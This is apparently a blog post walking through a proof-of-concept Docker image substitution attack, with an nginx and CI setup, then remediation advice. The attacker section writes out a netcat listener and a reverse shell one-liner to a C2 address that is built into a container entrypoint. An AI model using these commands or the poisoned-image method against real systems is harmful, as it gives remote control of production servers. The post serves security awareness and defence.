Software Supply Chain Attacks: How a Container Can Be Substituted

Roman Tolstosheyev
8 min readApr 2, 2024

--

This article is intended solely for educational purposes, aiming to raise awareness about cyber security and hacking techniques. It does not endorse or encourage any form of illegal activity. The scenarios and methods described are for informational use only and should not be misused; any illegal activities should be reported to the appropriate authorities.

Recently, news about yet another Supply Chain Attack has come from everywhere. This is a strong sign of the necessity for materials related to Application Security Awareness concerning the Software Supply Chain and attacks based on it. So, welcome to one such resource.

Software Supply Chain

As is naturally understandable, any software goes through different stages, starting from the source code until it reaches the end user. All data and layers used in the process represent a sequence of chains containing data about each component and process used in the software from the point of its inception to the end user. This data includes information about:

  • Source code and its authors
  • Dependencies
  • Used tools
  • Container information
  • Deployment configuration

…and more.

Software Supply Chain Attacks

Like any phenomenon of the Digital Reality, the Software Supply Chain becomes a target for attackers. From the perspective of a developer, we mainly deal with:

  • Unauthorized Modifications in Code
  • Libraries and Components Substitution (Dependency Confusion)
  • Poisoned Pipeline Execution
  • Malicious Image Replacement / Image Poisoning
  • Registry Poisoning

…so on.

Docker Container Substitution

One common practice in Supply Chain Attacks is to replace an original container in the container registry with a container that has a backdoor or malicious code. Afterwards, the malicious container is handled as if it were the original, and during the execution of the target container in a standard environment, the attack occurs.

Here is the scenario:

  1. We have some Docker Registry with our Super-App.​
  2. Of course, we are using latest (or :1.1.1)-like tags.​
  3. Somebody got access to out registry with privileges to PUSH.​
  4. This person (hacker) pushed an image with some malicious commands inside container or like entrypoint (e.g.: netcat) with tag :latest.​
  5. A developer run its Docker Compose or K8s cluster with “new” version of Super-App with tag :latest.​
  6. Hacked

Proof of Concept

To illustrate the scenario you’re describing, let’s detail a simplified example:

Imagine you have a production server hosting an application, and a hacker aims to compromise this server, causing it to malfunction.

The source code is available on a GitHub repository: https://github.com/IZOBRETATEL777/Supply-Chain-Attack-PoC

Victim’s Perspective

We have a very simple Docker container that runs a NGINX server basic HTTP configuration:

Dockerfile

FROM nginx:latest
EXPOSE 80

nginx.cfg (in website/ folder)

http {
server {
listen 80;
server_name prod_server;

location / {
root /usr/share/nginx/html;
}
}
}

events {

}

index.html (in website/ folder)

<h1>Super App</h1>
<h2>Production Server</h2>

To achieve the goal of running an NGINX server as a web server with minimal configurations and launching a simple HTML page, while also automating the Docker image build process through a Continuous Integration (CI) pipeline, you can follow these steps. This setup includes building a Docker image, pushing it to a container registry (in this case, the GitHub Container Registry associated with the current repository), and tagging the newest version with “latest”.

Head of the CI pipeline (.github/workflows/main.yml):

name: Build and Push Docker image

on:
push:
branches:
- master

The building and pushing part:

      - name: Build and Publish Image
uses: docker/build-push-action@v5.1.0
with:
context: .
file: ./Dockerfile
push: true
tags: ${{ steps.meta.outputs.tags }}
labels: ${{ steps.meta.outputs.labels }}

To automate the deployment process using Docker Compose, which ensures that the necessary actions such as mounting files and directories are taken care of, and to always use the latest image from the repository, you’ll need to create a docker-compose.yml file. This file will define how your Docker container should be run, including specifying that the latest version of the image should always be used.

version: '3.8'
services:
nginx:
image: ghcr.io/izobretatel777/supply-chain-attack-poc:latest
pull_policy: always
container_name: super-app
ports:
- "80:80"
volumes:
- ./website:/usr/share/nginx/html
- ./website/nginx.conf:/etc/nginx/nginx.conf
restart: unless-stopped

Creating a realistic production server instance in the cloud involves several steps, typically including selecting a service provider, configuring the server, and deploying your application. For the purpose of this example, we’ll discuss how to set up a simple Hetzner VPS (Virtual Private Server) with a public (white) IP address, though the process can be similar with other cloud providers like AWS, Google Cloud, or Azure.

Public IP is 78.46.199.62.

Then, we can connect using SSH and run:

ssh root@78.46.199.62

…and install all necessary for Docker deployment: Docker Engine and Docker Compose:

apt update
apt install docker docker-compose --y

Let’s do small hardening and create an ordinal user:

adduser sauser - gecos GECOS

— gecos GECOS is used to skip questions like real name or email address.

Let’s grant the usage of sudo by adding to sudoers group:

adduser sauser sudo

then, switch to it

su - sauser

Also, for more comfort, to run Docker from a non-root environment as it is mentioned in the official documentation (https://docs.docker.com/engine/install/linux-postinstall/) to add current user non-root user to the sudoers:

usermod -aG docker $USER

It is recommended to reboot the server.
Now, we can clone the repository:

 
git clone https://github.com/IZOBRETATEL777/Supply-Chain-Attack-PoC.git

…and delpoy the webserver:

 
cd Supply-Chain-Attack-PoC
docker-compose up

Server is running correctly:

Attacker’s Perspective

Let’s switch to an attacker’s perspective. For other security professionals: I will try to follow classic Cyber Kill Chain Model. The Cyber Kill Chain model, developed by Lockheed Martin, outlines the stages of a cyber attack from the early reconnaissance stages to the final data exfiltration or system compromise.

We can try to imagine that the attacker somehow could made a reconnaissance analyze the source code of the Super Application. It can be related to the data breach in the company or unauthorized access by the attacker to the version control servers.

The idea is to run a poisoned (substituted) container on the production server to take control over it Setting up a Command and Control (C2) server is a common tactic in cyber attacks. This server acts as a central point to control malware or compromised systems (like the poisoned container in the production environment) and gather data from them. Again, we can user Hetzner or any other cloud provider.

Now, we have a static IP: 49.12.194.176. Let’s connect to the server and run Netcat listener on port 1234

ssh root@49.12.194.176

… and inside:

nc -nlvp 1234 

Right now, we can start to think about how we can run the reverse shell or what will run it (weaponization). Our payload will be a malicious Dockerfile that will start the reverse shell. Using a Reverse Shell Generator, like the one available at https://www.revshells.com/, allows you to create a command that, when executed, opens a reverse shell from the compromised system to the attacker’s command and control (C2) server. This enables the attacker to execute commands on the compromised system remotely.

sh -i >& /dev/tcp/49.12.194.176S/1234 0>&1 

Then, I simply create a Dockerfile that executes this command. We just need to install necessary dependencies such as netcat and bash. Then, put the command to the entrypoint of the container, so when it starts, the revershell starts as well. For all these activities, I used Ubuntu image with non-interactive shell.

Delivering malicious code to a victim’s repository often involves exploiting human factors, such as a compromised developer account or unreviewed pull requests.

The Attack

Next, let’s assume that it is time to deploy or redeploy the application. It can be related to a new customer wanting a fresh instance or just an update of the current installation.

We in our production server we are doing:

docker-compose down 
docker-compose pull
docker-compose up

… and in our Command and Control (attacker’s) machine:

Installation is finished. Now, the attacker fully controls and persists in the docker container, including its mounted locations from the host machine:

Since the container user is root, we can do commands like chmod on files of different users.

And the attacker objective is achieved.

Vulnerability Chain

A sequence of issues with access and application configuration created a chain of vulnerabilities:

Not reviewed code was pushed Code with reverse shell was overlooked and pushed directly to the master branch. CI pipeline blindly pushes to the container registry with the latest tag The pipeline configured without any security testing tools or scripts. It pushes the container to the only registry with the latest tag.

Docker Compose file blindly pulls a container with the latest tag. The actual vulnerability persisted in the Docker Compose file before the attack. Pulling by any version tag is not recommended in the production environment.

Attacker gets persistence in the production server. With the reverse shell using Netcat in the container, the attacker can get access to the production server and maintain persistence. No monitoring solutions were set up to detect the malicious activity.

Attacker gets root access The Docker container runs as root in the root Docker context of the production server. Mounted by the Docker compose volumes are also accessible by the attacker.

Remediation

As any problem, the issue of Container Substitution has it own remediation plan to avoid the same in the future:

Least Privilege principle for users (developers) — grant each user with minimal possible privileges. E.g.: do not allow pushes to the master branch directly.

Trusted source of dependencies or containers — use only trusted sources such as official Docker registries or own artifactories/registries.

Security Monitoring and CI/CD Pipeline Security Posture​ — always monitor status and load of deployed instantiates including pipeline runners and configurations.

Follow best practices + automated scanning​ — try to stick to the best practices such usage of digests instead of hashes or non-root user container execution. Automation scanning tools such as SAST or IaC Security solutions can be helpful.

Conclusion

Sometimes, it is really important to control every detail of your product withing entire lifecycle. Otherwise, somebody else will do it instead of you. And Supply Chain Attacks is a great example of that fact.

Stay cyber safe!

Free

Distraction-free reading. No ads.

Organize your knowledge with lists and highlights.

Tell your story. Find your audience.

Membership

Read member-only stories

Support writers you read most

Earn money for your writing

Listen to audio narrations

Read offline with the Medium app

--

--

Roman Tolstosheyev
Roman Tolstosheyev

Written by Roman Tolstosheyev

Application Security specialist and Cyber Security passionate. Java Web Developer and Certified Specialist in Cloud Computing.

No responses yet

Write a response